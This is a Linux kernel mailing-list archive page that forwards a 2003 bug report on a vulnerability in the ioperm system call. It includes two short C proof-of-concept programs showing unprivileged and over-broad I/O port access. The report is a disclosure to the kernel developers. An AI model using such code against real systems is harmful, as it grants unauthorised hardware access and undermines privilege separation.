From: "Martin J. Bligh" <mbligh@aracnet.com>
To: linux-kernel <linux-kernel@vger.kernel.org>
Subject: [Bug 703] New: Security vulnerability in "ioperm" system call
Date: Sun, 11 May 2003 20:03:33 -0700 [thread overview]
Message-ID: <17400000.1052708613@[10.10.2.4]> (raw)
http://bugme.osdl.org/show_bug.cgi?id=703
Summary: Security vulnerability in "ioperm" system call
Kernel Version: 2.5.69
Status: NEW
Severity: low
Owner: mbligh@aracnet.com
Submitter: dave_matthew@yahoo.com
Distribution:
Debian 3.0
Hardware Environment:
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 7
model name : Pentium III (Katmai)
stepping : 2
cpu MHz : 498.866
cache size : 512 KB
fdiv_bug : no
hlt_bug : no
f00f_bug : no
coma_bug : no
fpu : yes
fpu_exception : yes
cpuid level : 2
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 sep mtrr pge mca cmov pat
pse36 mmx fxsr sse
bogomips : 992.87
Software Environment:
Gnu C 2.95.4
Gnu make 3.79.1
util-linux 2.11n
mount 2.11n
modutils 2.4.15
e2fsprogs 1.27
Linux C Library 2.2.5
Dynamic linker (ldd) 2.2.5
Procps 2.0.7
Net-tools 1.60
Console-tools 0.2.3
Sh-utils 2.0.11
Problem Description:
The "ioperm" system call allows an unprivileged user to gain read and write
access to I/O ports on the system. When used by a privileged process, the
"ioperm" system call also fails to properly restrict privileges.
Steps to reproduce:
Example One -- The following program when run as an unprivileged user will
allow him or her to read from or write to I/O ports with addresses which are
below 0x3ff (1023).
# include <stdio.h>
# include <sys/io.h>
# include <stdlib.h>
int main(int argc, char **argv)
{
if (argc < 2) {
(void) fprintf(stderr, "Usage: %s PORT [VALUE]\n", argv[0]);
return (2);
}
if (ioperm(1023, 1, 0) == -1) {
perror("ioperm");
return (1);
}
if (argc < 3) {
(void) printf("0x%02x\n", inb(atoi(argv[1])));
} else {
outb(atoi(argv[2]), atoi(argv[1]));
}
return (0);
}
Example Two -- This next program when run as a privileged user demonstrates
how "ioperm" fails to properly restrict privileges.
# include <sys/io.h>
# include <stdio.h>
int main(void)
{
if (ioperm(888, 1, 1) == -1) {
perror("ioperm");
return (1);
}
(void) printf("0x%02x\n", inb(889));
return (0);
}
next reply other threads:[~2003-05-12 5:05 UTC|newest]
Thread overview: 2+ messages / expand[flat|nested] mbox.gz Atom feed top
2003-05-12 3:03 Martin J. Bligh [this message]
2003-05-12 12:39 ` Brian Gerst
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to='17400000.1052708613@[10.10.2.4]' \
--to=mbligh@aracnet.com \
--cc=linux-kernel@vger.kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®